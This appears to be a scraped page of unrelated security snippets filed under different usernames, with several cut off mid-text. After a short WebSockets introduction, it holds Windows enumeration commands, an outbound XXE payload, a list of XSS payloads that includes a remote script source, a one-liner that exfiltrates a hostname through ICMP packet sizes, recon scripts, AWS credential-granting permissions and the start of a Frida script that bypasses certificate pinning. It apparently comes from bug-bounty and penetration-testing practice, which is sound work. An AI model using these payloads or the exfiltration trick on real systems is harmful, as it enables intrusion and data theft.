subudeepak

WebSockets - An Introduction

WebSockets is a modern HTML5 standard which makes communication between client and server a lot more simpler than ever. We are all familiar with the technology of sockets. Sockets have been fundamental to network communication for a long time but usually the communication over the browser has been restricted. The general restrictions

• The server used to have a permanent listener while the client (aka browser) was not designated any fixed listener for a more long term connection. Hence, every communication was restricted to the client demanding and the server responding.
• This meant that unless the client requested for a particular resource, the server was unable to push such a resource to the client.
• This was detrimental since the client is then forced to check with the server at regular intervals. This meant a lot of libraries focused on optimizing asynchronous calls and identifying the response of asynchronous calls. Notably t

sckalath

// What system are we connected to?
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

// Get the hostname and username (if available)
hostname
echo %username%

// Get users
net users
net user [username]

staaldraad

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

rvrsh3ll

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>

mhmdiaa

import requests
import re
import sys
from multiprocessing.dummy import Pool


def robots(host):
    r = requests.get(
        'https://web.archive.org/cdx/search/cdx\
        ?url=%s/robots.txt&output=json&fl=timestamp,original&filter=statuscode:200&collapse=digest' % host)

mhmdiaa

import requests
import sys
import json


def waybackurls(host, with_subs):
    if with_subs:
        url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host
    else:
        url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host

jobertabma

1. Capture ICMP packets on your server:

tcpdump -nni eth0 -e icmp[icmptype] == 8 -w output.cap

2. Send ICMP packets to your server with each byte stored in the packet size, execute this on the remote machine:

ip=vm03;output=`hostname`;for ((i=0;i<${#output};i++));do; ping -c 1 -s `printf '%d\n' "'${output:$i:1}'"` $ip;done

EdOverflow

GitHub for Bug Bounty Hunters

GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.

Mass Cloning

You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.

$ python githubcloner.py --org organization -o /tmp/output

kmcquade

• chime:CreateApiKey
• codepipeline:PollForJobs
• cognito-identity:GetOpenIdToken
• cognito-identity:GetOpenIdTokenForDeveloperIdentity
• cognito-identity:GetCredentialsForIdentity
• connect:GetFederationToken
• connect:GetFederationTokens
• ecr:GetAuthorizationToken
• [gamelift:RequestUploadCredentials](ht

teknogeek

Java.perform(function() {
    console.log('\n[.] Cert Pinning Bypass');

    // Create a TrustManager that trusts everything
    console.log('[+] Creating a TrustyTrustManager that trusts everything...');
    var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
    var TrustyTrustManager = Java.registerClass({
        name: 'com.example.TrustyTrustManager',
        implements: [X509TrustManager],
        methods: {